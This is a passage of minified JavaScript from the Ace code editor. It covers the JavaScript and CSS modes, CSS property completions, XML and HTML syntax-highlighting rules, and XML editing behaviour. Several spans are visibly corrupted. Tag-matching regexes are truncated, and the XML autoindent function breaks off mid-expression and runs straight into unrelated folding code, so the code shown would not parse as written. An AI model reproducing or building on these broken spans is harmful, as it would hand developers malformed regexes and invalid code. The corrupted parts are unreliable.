oop = require("../lib/oop"); var TextMode = require("./text").Mode; var JavaScriptHighlightRules = require("./javascript_highlight_rules").JavaScriptHighlightRules; var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent; var Range = require("../range").Range; var WorkerClient = require("../worker/worker_client").WorkerClient; var CstyleBehaviour = require("./behaviour/cstyle").CstyleBehaviour; var CStyleFoldMode = require("./folding/cstyle").FoldMode; var Mode = function() { this.HighlightRules = JavaScriptHighlightRules; this.$outdent = new MatchingBraceOutdent(); this.$behaviour = new CstyleBehaviour(); this.foldingRules = new CStyleFoldMode(); }; oop.inherits(Mode, TextMode); (function() { this.lineCommentStart = "//"; this.blockComment = {start: "/*", end: "*/"}; this.getNextLineIndent = function(state, line, tab) { var indent = this.$getIndent(line); var tokenizedLine = this.getTokenizer().getLineTokens(line, state); var tokens = tokenizedLine.tokens; var endState = tokenizedLine.state; if (tokens.length && tokens[tokens.length-1].type == "comment") { return indent; } if (state == "start" || state == "no_regex") { var match = line.match(/^.*(?:\bcase\b.*\:|[\{\(\[])\s*$/); if (match) { indent += tab; } } else if (state == "doc-start") { if (endState == "start" || endState == "no_regex") { return ""; } var match = line.match(/^\s*(\/?)\*/); if (match) { if (match[1]) { indent += " "; } indent += "* "; } } return indent; }; this.checkOutdent = function(state, line, input) { return this.$outdent.checkOutdent(line, input); }; this.autoOutdent = function(state, doc, row) { this.$outdent.autoOutdent(doc, row); }; this.createWorker = function(session) { var worker = new WorkerClient(["ace"], "ace/mode/javascript_worker", "JavaScriptWorker"); worker.attachToDocument(session.getDocument()); worker.on("annotate", function(results) { session.setAnnotations(results.data); }); worker.on("terminate", function() { session.clearAnnotations(); }); return worker; }; this.$id = "ace/mode/javascript"; }).call(Mode.prototype); exports.Mode = Mode; }); ace.define("ace/mode/css_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var lang = require("../lib/lang"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var supportType = exports.supportType = "align-content|align-items|align-self|all|animation|animation-delay|animation-direction|animation-duration|animation-fill-mode|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|backface-visibility|background|background-attachment|background-blend-mode|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|border|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|cursor|direction|display|empty-cells|filter|flex|flex-basis|flex-direction|flex-flow|flex-grow|flex-shrink|flex-wrap|float|font|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|hanging-punctuation|height|justify-content|left|letter-spacing|line-height|list-style|list-style-image|list-style-position|list-style-type|margin|margin-bottom|margin-left|margin-right|margin-top|max-height|max-width|min-height|min-width|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|order|outline|outline-color|outline-offset|outline-style|outline-width|overflow|overflow-x|overflow-y|padding|padding-bottom|padding-left|padding-right|padding-top|page-break-after|page-break-before|page-break-inside|perspective|perspective-origin|position|quotes|resize|right|tab-size|table-layout|text-align|text-align-last|text-decoration|text-decoration-color|text-decoration-line|text-decoration-style|text-indent|text-justify|text-overflow|text-shadow|text-transform|top|transform|transform-origin|transform-style|transition|transition-delay|transition-duration|transition-property|transition-timing-function|unicode-bidi|vertical-align|visibility|white-space|width|word-break|word-spacing|word-wrap|z-index"; var supportFunction = exports.supportFunction = "rgb|rgba|url|attr|counter|counters"; var supportConstant = exports.supportConstant = "absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero"; var supportConstantColor = exports.supportConstantColor = "aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow"; var supportConstantFonts = exports.supportConstantFonts = "arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace"; var numRe = exports.numRe = "\\-?(?:(?:[0-9]+)|(?:[0-9]*\\.[0-9]+))"; var pseudoElements = exports.pseudoElements = "(\\:+)\\b(after|before|first-letter|first-line|moz-selection|selection)\\b"; var pseudoClasses = exports.pseudoClasses = "(:)\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\b"; var CssHighlightRules = function() { var keywordMapper = this.createKeywordMapper({ "support.function": supportFunction, "support.constant": supportConstant, "support.type": supportType, "support.constant.color": supportConstantColor, "support.constant.fonts": supportConstantFonts }, "text", true); this.$rules = { "start" : [{ token : "comment", // multi line comment regex : "\\/\\*", push : "comment" }, { token: "paren.lparen", regex: "\\{", push: "ruleset" }, { token: "string", regex: "@.*?{", push: "media" }, { token: "keyword", regex: "#[a-z0-9-_]+" }, { token: "variable", regex: "\\.[a-z0-9-_]+" }, { token: "string", regex: ":[a-z0-9-_]+" }, { token: "constant", regex: "[a-z0-9-_]+" }, { caseInsensitive: true }], "media" : [{ token : "comment", // multi line comment regex : "\\/\\*", push : "comment" }, { token: "paren.lparen", regex: "\\{", push: "ruleset" }, { token: "string", regex: "\\}", next: "pop" }, { token: "keyword", regex: "#[a-z0-9-_]+" }, { token: "variable", regex: "\\.[a-z0-9-_]+" }, { token: "string", regex: ":[a-z0-9-_]+" }, { token: "constant", regex: "[a-z0-9-_]+" }, { caseInsensitive: true }], "comment" : [{ token : "comment", regex : "\\*\\/", next : "pop" }, { defaultToken : "comment" }], "ruleset" : [ { token : "paren.rparen", regex : "\\}", next: "pop" }, { token : "comment", // multi line comment regex : "\\/\\*", push : "comment" }, { token : "string", // single line regex : '["](?:(?:\\\\.)|(?:[^"\\\\]))*?["]' }, { token : "string", // single line regex : "['](?:(?:\\\\.)|(?:[^'\\\\]))*?[']" }, { token : ["constant.numeric", "keyword"], regex : "(" + numRe + ")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)" }, { token : "constant.numeric", regex : numRe }, { token : "constant.numeric", // hex6 color regex : "#[a-f0-9]{6}" }, { token : "constant.numeric", // hex3 color regex : "#[a-f0-9]{3}" }, { token : ["punctuation", "entity.other.attribute-name.pseudo-element.css"], regex : pseudoElements }, { token : ["punctuation", "entity.other.attribute-name.pseudo-class.css"], regex : pseudoClasses }, { token : ["support.function", "string", "support.function"], regex : "(url\\()(.*)(\\))" }, { token : keywordMapper, regex : "\\-?[a-zA-Z_][a-zA-Z0-9_\\-]*" }, { caseInsensitive: true }] }; this.normalizeRules(); }; oop.inherits(CssHighlightRules, TextHighlightRules); exports.CssHighlightRules = CssHighlightRules; }); ace.define("ace/mode/css_completions",["require","exports","module"], function(require, exports, module) { "use strict"; var propertyMap = { "background": {"#$0": 1}, "background-color": {"#$0": 1, "transparent": 1, "fixed": 1}, "background-image": {"url('/$0')": 1}, "background-repeat": {"repeat": 1, "repeat-x": 1, "repeat-y": 1, "no-repeat": 1, "inherit": 1}, "background-position": {"bottom":2, "center":2, "left":2, "right":2, "top":2, "inherit":2}, "background-attachment": {"scroll": 1, "fixed": 1}, "background-size": {"cover": 1, "contain": 1}, "background-clip": {"border-box": 1, "padding-box": 1, "content-box": 1}, "background-origin": {"border-box": 1, "padding-box": 1, "content-box": 1}, "border": {"solid $0": 1, "dashed $0": 1, "dotted $0": 1, "#$0": 1}, "border-color": {"#$0": 1}, "border-style": {"solid":2, "dashed":2, "dotted":2, "double":2, "groove":2, "hidden":2, "inherit":2, "inset":2, "none":2, "outset":2, "ridged":2}, "border-collapse": {"collapse": 1, "separate": 1}, "bottom": {"px": 1, "em": 1, "%": 1}, "clear": {"left": 1, "right": 1, "both": 1, "none": 1}, "color": {"#$0": 1, "rgb(#$00,0,0)": 1}, "cursor": {"default": 1, "pointer": 1, "move": 1, "text": 1, "wait": 1, "help": 1, "progress": 1, "n-resize": 1, "ne-resize": 1, "e-resize": 1, "se-resize": 1, "s-resize": 1, "sw-resize": 1, "w-resize": 1, "nw-resize": 1}, "display": {"none": 1, "block": 1, "inline": 1, "inline-block": 1, "table-cell": 1}, "empty-cells": {"show": 1, "hide": 1}, "float": {"left": 1, "right": 1, "none": 1}, "font-family": {"Arial":2,"Comic Sans MS":2,"Consolas":2,"Courier New":2,"Courier":2,"Georgia":2,"Monospace":2,"Sans-Serif":2, "Segoe UI":2,"Tahoma":2,"Times New Roman":2,"Trebuchet MS":2,"Verdana": 1}, "font-size": {"px": 1, "em": 1, "%": 1}, "font-weight": {"bold": 1, "normal": 1}, "font-style": {"italic": 1, "normal": 1}, "font-variant": {"normal": 1, "small-caps": 1}, "height": {"px": 1, "em": 1, "%": 1}, "left": {"px": 1, "em": 1, "%": 1}, "letter-spacing": {"normal": 1}, "line-height": {"normal": 1}, "list-style-type": {"none": 1, "disc": 1, "circle": 1, "square": 1, "decimal": 1, "decimal-leading-zero": 1, "lower-roman": 1, "upper-roman": 1, "lower-greek": 1, "lower-latin": 1, "upper-latin": 1, "georgian": 1, "lower-alpha": 1, "upper-alpha": 1}, "margin": {"px": 1, "em": 1, "%": 1}, "margin-right": {"px": 1, "em": 1, "%": 1}, "margin-left": {"px": 1, "em": 1, "%": 1}, "margin-top": {"px": 1, "em": 1, "%": 1}, "margin-bottom": {"px": 1, "em": 1, "%": 1}, "max-height": {"px": 1, "em": 1, "%": 1}, "max-width": {"px": 1, "em": 1, "%": 1}, "min-height": {"px": 1, "em": 1, "%": 1}, "min-width": {"px": 1, "em": 1, "%": 1}, "overflow": {"hidden": 1, "visible": 1, "auto": 1, "scroll": 1}, "overflow-x": {"hidden": 1, "visible": 1, "auto": 1, "scroll": 1}, "overflow-y": {"hidden": 1, "visible": 1, "auto": 1, "scroll": 1}, "padding": {"px": 1, "em": 1, "%": 1}, "padding-top": {"px": 1, "em": 1, "%": 1}, "padding-right": {"px": 1, "em": 1, "%": 1}, "padding-bottom": {"px": 1, "em": 1, "%": 1}, "padding-left": {"px": 1, "em": 1, "%": 1}, "page-break-after": {"auto": 1, "always": 1, "avoid": 1, "left": 1, "right": 1}, "page-break-before": {"auto": 1, "always": 1, "avoid": 1, "left": 1, "right": 1}, "position": {"absolute": 1, "relative": 1, "fixed": 1, "static": 1}, "right": {"px": 1, "em": 1, "%": 1}, "table-layout": {"fixed": 1, "auto": 1}, "text-decoration": {"none": 1, "underline": 1, "line-through": 1, "blink": 1}, "text-align": {"left": 1, "right": 1, "center": 1, "justify": 1}, "text-transform": {"capitalize": 1, "uppercase": 1, "lowercase": 1, "none": 1}, "top": {"px": 1, "em": 1, "%": 1}, "vertical-align": {"top": 1, "bottom": 1}, "visibility": {"hidden": 1, "visible": 1}, "white-space": {"nowrap": 1, "normal": 1, "pre": 1, "pre-line": 1, "pre-wrap": 1}, "width": {"px": 1, "em": 1, "%": 1}, "word-spacing": {"normal": 1}, "filter": {"alpha(opacity=$0100)": 1}, "text-shadow": {"$02px 2px 2px #777": 1}, "text-overflow": {"ellipsis-word": 1, "clip": 1, "ellipsis": 1}, "-moz-border-radius": 1, "-moz-border-radius-topright": 1, "-moz-border-radius-bottomright": 1, "-moz-border-radius-topleft": 1, "-moz-border-radius-bottomleft": 1, "-webkit-border-radius": 1, "-webkit-border-top-right-radius": 1, "-webkit-border-top-left-radius": 1, "-webkit-border-bottom-right-radius": 1, "-webkit-border-bottom-left-radius": 1, "-moz-box-shadow": 1, "-webkit-box-shadow": 1, "transform": {"rotate($00deg)": 1, "skew($00deg)": 1}, "-moz-transform": {"rotate($00deg)": 1, "skew($00deg)": 1}, "-webkit-transform": {"rotate($00deg)": 1, "skew($00deg)": 1 } }; var CssCompletions = function() { }; (function() { this.completionsDefined = false; this.defineCompletions = function() { if (document) { var style = document.createElement('c').style; for (var i in style) { if (typeof style[i] !== 'string') continue; var name = i.replace(/[A-Z]/g, function(x) { return '-' + x.toLowerCase(); }); if (!propertyMap.hasOwnProperty(name)) propertyMap[name] = 1; } } this.completionsDefined = true; } this.getCompletions = function(state, session, pos, prefix) { if (!this.completionsDefined) { this.defineCompletions(); } var token = session.getTokenAt(pos.row, pos.column); if (!token) return []; if (state==='ruleset'){ var line = session.getLine(pos.row).substr(0, pos.column); if (/:[^;]+$/.test(line)) { /([\w\-]+):[^:]*$/.test(line); return this.getPropertyValueCompletions(state, session, pos, prefix); } else { return this.getPropertyCompletions(state, session, pos, prefix); } } return []; }; this.getPropertyCompletions = function(state, session, pos, prefix) { var properties = Object.keys(propertyMap); return properties.map(function(property){ return { caption: property, snippet: property + ': $0', meta: "property", score: Number.MAX_VALUE }; }); }; this.getPropertyValueCompletions = function(state, session, pos, prefix) { var line = session.getLine(pos.row).substr(0, pos.column); var property = (/([\w\-]+):[^:]*$/.exec(line) || {})[1]; if (!property) return []; var values = []; if (property in propertyMap && typeof propertyMap[property] === "object") { values = Object.keys(propertyMap[property]); } return values.map(function(value){ return { caption: value, snippet: value, meta: "property value", score: Number.MAX_VALUE }; }); }; }).call(CssCompletions.prototype); exports.CssCompletions = CssCompletions; }); ace.define("ace/mode/behaviour/css",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/mode/behaviour/cstyle","ace/token_iterator"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Behaviour = require("../behaviour").Behaviour; var CstyleBehaviour = require("./cstyle").CstyleBehaviour; var TokenIterator = require("../../token_iterator").TokenIterator; var CssBehaviour = function () { this.inherit(CstyleBehaviour); this.add("colon", "insertion", function (state, action, editor, session, text) { if (text === ':') { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); if (token && token.value.match(/\s+/)) { token = iterator.stepBackward(); } if (token && token.type === 'support.type') { var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === ':') { return { text: '', selection: [1, 1] } } if (!line.substring(cursor.column).match(/^\s*;/)) { return { text: ':;', selection: [1, 1] } } } } }); this.add("colon", "deletion", function (state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected === ':') { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); if (token && token.value.match(/\s+/)) { token = iterator.stepBackward(); } if (token && token.type === 'support.type') { var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.end.column, range.end.column + 1); if (rightChar === ';') { range.end.column ++; return range; } } } }); this.add("semicolon", "insertion", function (state, action, editor, session, text) { if (text === ';') { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === ';') { return { text: '', selection: [1, 1] } } } }); } oop.inherits(CssBehaviour, CstyleBehaviour); exports.CssBehaviour = CssBehaviour; }); ace.define("ace/mode/css",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/css_highlight_rules","ace/mode/matching_brace_outdent","ace/worker/worker_client","ace/mode/css_completions","ace/mode/behaviour/css","ace/mode/folding/cstyle"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextMode = require("./text").Mode; var CssHighlightRules = require("./css_highlight_rules").CssHighlightRules; var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent; var WorkerClient = require("../worker/worker_client").WorkerClient; var CssCompletions = require("./css_completions").CssCompletions; var CssBehaviour = require("./behaviour/css").CssBehaviour; var CStyleFoldMode = require("./folding/cstyle").FoldMode; var Mode = function() { this.HighlightRules = CssHighlightRules; this.$outdent = new MatchingBraceOutdent(); this.$behaviour = new CssBehaviour(); this.$completer = new CssCompletions(); this.foldingRules = new CStyleFoldMode(); }; oop.inherits(Mode, TextMode); (function() { this.foldingRules = "cStyle"; this.blockComment = {start: "/*", end: "*/"}; this.getNextLineIndent = function(state, line, tab) { var indent = this.$getIndent(line); var tokens = this.getTokenizer().getLineTokens(line, state).tokens; if (tokens.length && tokens[tokens.length-1].type == "comment") { return indent; } var match = line.match(/^.*\{\s*$/); if (match) { indent += tab; } return indent; }; this.checkOutdent = function(state, line, input) { return this.$outdent.checkOutdent(line, input); }; this.autoOutdent = function(state, doc, row) { this.$outdent.autoOutdent(doc, row); }; this.getCompletions = function(state, session, pos, prefix) { return this.$completer.getCompletions(state, session, pos, prefix); }; this.createWorker = function(session) { var worker = new WorkerClient(["ace"], "ace/mode/css_worker", "Worker"); worker.attachToDocument(session.getDocument()); worker.on("annotate", function(e) { session.setAnnotations(e.data); }); worker.on("terminate", function() { session.clearAnnotations(); }); return worker; }; this.$id = "ace/mode/css"; }).call(Mode.prototype); exports.Mode = Mode; }); ace.define("ace/mode/xml_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var XmlHighlightRules = function(normalize) { var tagRegex = "[_:a-zA-Z\xc0-\uffff][-_:.a-zA-Z0-9\xc0-\uffff]*"; this.$rules = { start : [ {token : "string.cdata.xml", regex : "<\\!\\[CDATA\\[", next : "cdata"}, { token : ["punctuation.xml-decl.xml", "keyword.xml-decl.xml"], regex : "(<\\?)(xml)(?=[\\s])", next : "xml_decl", caseInsensitive: true }, { token : ["punctuation.instruction.xml", "keyword.instruction.xml"], regex : "(<\\?)(" + tagRegex + ")", next : "processing_instruction" }, {token : "comment.xml", regex : "<\\!--", next : "comment"}, { token : ["xml-pe.doctype.xml", "xml-pe.doctype.xml"], regex : "(<\\!)(DOCTYPE)(?=[\\s])", next : "doctype", caseInsensitive: true }, {include : "tag"}, {token : "text.end-tag-open.xml", regex: "", next : "start" }], processing_instruction : [ {token : "punctuation.instruction.xml", regex : "\\?>", next : "start"}, {defaultToken : "instruction.xml"} ], doctype : [ {include : "whitespace"}, {include : "string"}, {token : "xml-pe.doctype.xml", regex : ">", next : "start"}, {token : "xml-pe.xml", regex : "[-_a-zA-Z0-9:]+"}, {token : "punctuation.int-subset", regex : "\\[", push : "int_subset"} ], int_subset : [{ token : "text.xml", regex : "\\s+" }, { token: "punctuation.int-subset.xml", regex: "]", next: "pop" }, { token : ["punctuation.markup-decl.xml", "keyword.markup-decl.xml"], regex : "(<\\!)(" + tagRegex + ")", push : [{ token : "text", regex : "\\s+" }, { token : "punctuation.markup-decl.xml", regex : ">", next : "pop" }, {include : "string"}] }], cdata : [ {token : "string.cdata.xml", regex : "\\]\\]>", next : "start"}, {token : "text.xml", regex : "\\s+"}, {token : "text.xml", regex : "(?:[^\\]]|\\](?!\\]>))+"} ], comment : [ {token : "comment.xml", regex : "-->", next : "start"}, {defaultToken : "comment.xml"} ], reference : [{ token : "constant.language.escape.reference.xml", regex : "(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\.-]+;)" }], attr_reference : [{ token : "constant.language.escape.reference.attribute-value.xml", regex : "(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\.-]+;)" }], tag : [{ token : ["meta.tag.punctuation.tag-open.xml", "meta.tag.punctuation.end-tag-open.xml", "meta.tag.tag-name.xml"], regex : "(?:(<)|(", next : "start"} ] }], tag_whitespace : [ {token : "text.tag-whitespace.xml", regex : "\\s+"} ], whitespace : [ {token : "text.whitespace.xml", regex : "\\s+"} ], string: [{ token : "string.xml", regex : "'", push : [ {token : "string.xml", regex: "'", next: "pop"}, {defaultToken : "string.xml"} ] }, { token : "string.xml", regex : '"', push : [ {token : "string.xml", regex: '"', next: "pop"}, {defaultToken : "string.xml"} ] }], attributes: [{ token : "entity.other.attribute-name.xml", regex : "(?:" + tagRegex + ":)?" + tagRegex + "" }, { token : "keyword.operator.attribute-equals.xml", regex : "=" }, { include: "tag_whitespace" }, { include: "attribute_value" }], attribute_value: [{ token : "string.attribute-value.xml", regex : "'", push : [ {token : "string.attribute-value.xml", regex: "'", next: "pop"}, {include : "attr_reference"}, {defaultToken : "string.attribute-value.xml"} ] }, { token : "string.attribute-value.xml", regex : '"', push : [ {token : "string.attribute-value.xml", regex: '"', next: "pop"}, {include : "attr_reference"}, {defaultToken : "string.attribute-value.xml"} ] }] }; if (this.constructor === XmlHighlightRules) this.normalizeRules(); }; (function() { this.embedTagRules = function(HighlightRules, prefix, tag){ this.$rules.tag.unshift({ token : ["meta.tag.punctuation.tag-open.xml", "meta.tag." + tag + ".tag-name.xml"], regex : "(<)(" + tag + "(?=\\s|>|$))", next: [ {include : "attributes"}, {token : "meta.tag.punctuation.tag-close.xml", regex : "/?>", next : prefix + "start"} ] }); this.$rules[tag + "-end"] = [ {include : "attributes"}, {token : "meta.tag.punctuation.tag-close.xml", regex : "/?>", next: "start", onMatch : function(value, currentState, stack) { stack.splice(0); return this.token; }} ] this.embedRules(HighlightRules, prefix, [{ token: ["meta.tag.punctuation.end-tag-open.xml", "meta.tag." + tag + ".tag-name.xml"], regex : "(|$))", next: tag + "-end" }, { token: "string.cdata.xml", regex : "<\\!\\[CDATA\\[" }, { token: "string.cdata.xml", regex : "\\]\\]>" }]); }; }).call(TextHighlightRules.prototype); oop.inherits(XmlHighlightRules, TextHighlightRules); exports.XmlHighlightRules = XmlHighlightRules; }); ace.define("ace/mode/html_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/css_highlight_rules","ace/mode/javascript_highlight_rules","ace/mode/xml_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var lang = require("../lib/lang"); var CssHighlightRules = require("./css_highlight_rules").CssHighlightRules; var JavaScriptHighlightRules = require("./javascript_highlight_rules").JavaScriptHighlightRules; var XmlHighlightRules = require("./xml_highlight_rules").XmlHighlightRules; var tagMap = lang.createMap({ a : 'anchor', button : 'form', form : 'form', img : 'image', input : 'form', label : 'form', option : 'form', script : 'script', select : 'form', textarea : 'form', style : 'style', table : 'table', tbody : 'table', td : 'table', tfoot : 'table', th : 'table', tr : 'table' }); var HtmlHighlightRules = function() { XmlHighlightRules.call(this); this.addRules({ attributes: [{ include : "tag_whitespace" }, { token : "entity.other.attribute-name.xml", regex : "[-_a-zA-Z0-9:.]+" }, { token : "keyword.operator.attribute-equals.xml", regex : "=", push : [{ include: "tag_whitespace" }, { token : "string.unquoted.attribute-value.html", regex : "[^<>='\"`\\s]+", next : "pop" }, { token : "empty", regex : "", next : "pop" }] }, { include : "attribute_value" }], tag: [{ token : function(start, tag) { var group = tagMap[tag]; return ["meta.tag.punctuation." + (start == "<" ? "" : "end-") + "tag-open.xml", "meta.tag" + (group ? "." + group : "") + ".tag-name.xml"]; }, regex : "(", next : "start"} ] }); this.embedTagRules(CssHighlightRules, "css-", "style"); this.embedTagRules(new JavaScriptHighlightRules({noJSX: true}).getRules(), "js-", "script"); if (this.constructor === HtmlHighlightRules) this.normalizeRules(); }; oop.inherits(HtmlHighlightRules, XmlHighlightRules); exports.HtmlHighlightRules = HtmlHighlightRules; }); ace.define("ace/mode/behaviour/xml",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Behaviour = require("../behaviour").Behaviour; var TokenIterator = require("../../token_iterator").TokenIterator; var lang = require("../../lib/lang"); function is(token, type) { return token.type.lastIndexOf(type + ".xml") > -1; } var XmlBehaviour = function () { this.add("string_dquotes", "insertion", function (state, action, editor, session, text) { if (text == '"' || text == "'") { var quote = text; var selected = session.doc.getTextRange(editor.getSelectionRange()); if (selected !== "" && selected !== "'" && selected != '"' && editor.getWrapBehavioursEnabled()) { return { text: quote + selected + quote, selection: false }; } var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); if (rightChar == quote && (is(token, "attribute-value") || is(token, "string"))) { return { text: "", selection: [1, 1] }; } if (!token) token = iterator.stepBackward(); if (!token) return; while (is(token, "tag-whitespace") || is(token, "whitespace")) { token = iterator.stepBackward(); } var rightSpace = !rightChar || rightChar.match(/\s/); if (is(token, "attribute-equals") && (rightSpace || rightChar == '>') || (is(token, "decl-attribute-equals") && (rightSpace || rightChar == '?'))) { return { text: quote + quote, selection: [1, 1] }; } } }); this.add("string_dquotes", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && (selected == '"' || selected == "'")) { var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == selected) { range.end.column++; return range; } } }); this.add("autoclosing", "insertion", function (state, action, editor, session, text) { if (text == '>') { var position = editor.getCursorPosition(); var iterator = new TokenIterator(session, position.row, position.column); var token = iterator.getCurrentToken() || iterator.stepBackward(); if (!token || !(is(token, "tag-name") || is(token, "tag-whitespace") || is(token, "attribute-name") || is(token, "attribute-equals") || is(token, "attribute-value"))) return; if (is(token, "reference.attribute-value")) return; if (is(token, "attribute-value")) { var firstChar = token.value.charAt(0); if (firstChar == '"' || firstChar == "'") { var lastChar = token.value.charAt(token.value.length - 1); var tokenEnd = iterator.getCurrentTokenColumn() + token.value.length; if (tokenEnd > position.column || tokenEnd == position.column && firstChar != lastChar) return; } } while (!is(token, "tag-name")) { token = iterator.stepBackward(); } var tokenRow = iterator.getCurrentTokenRow(); var tokenColumn = iterator.getCurrentTokenColumn(); if (is(iterator.stepBackward(), "end-tag-open")) return; var element = token.value; if (tokenRow == position.row) element = element.substring(0, position.column - tokenColumn); if (this.voidElements.hasOwnProperty(element.toLowerCase())) return; return { text: ">" + "", selection: [1, 1] }; } }); this.add("autoindent", "insertion", function (state, action, editor, session, text) { if (text == "\n") { var cursor = editor.getCursorPosition(); var line = session.getLine(cursor.row); var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); if (token && token.type.indexOf("tag-close") !== -1) { if (token.value == "/>") return; while (token && token.type.indexOf("tag-name") === -1) { token = iterator.stepBackward(); } if (!token) { return; } var tag = token.value; var row = iterator.getCurrentTokenRow(); token = iterator.stepBackward(); if (!token || token.type.indexOf("end-tag") !== -1) { return; } if (this.voidElements && !this.voidElements[tag]) { var nextToken = session.getTokenAt(cursor.row, cursor.column+1); var line = session.getLine(row); var nextIndent = this.$getIndent(line); var indent = nextIndent + session.getTabString(); if (nextToken && nextToken.value === " -1; } (function() { this.getFoldWidget = function(session, foldStyle, row) { var tag = this._getFirstTagInLine(session, row); if (!tag) return ""; if (tag.closing || (!tag.tagName && tag.selfClosing)) return foldStyle == "markbeginend" ? "end" : ""; if (!tag.tagName || tag.selfClosing || this.voidElements.hasOwnProperty(tag.tagName.toLowerCase())) return ""; if (this._findEndTagInLine(session, row, tag.tagName, tag.end.column)) return ""; return "start"; }; this._getFirstTagInLine = function(session, row) { var tokens = session.getTokens(row); var tag = new Tag(); for (var i = 0; i < tokens.length; i++) { var token = tokens[i]; if (is(token, "tag-open")) { tag.end.column = tag.start.column + token.value.length; tag.closing = is(token, "end-tag-open"); token = tokens[++i]; if (!token) return null; tag.tagName = token.value; tag.end.column += token.value.length; for (i++; i < tokens.length; i++) { token = tokens[i]; tag.end.column += token.value.length; if (is(token, "tag-close")) { tag.selfClosing = 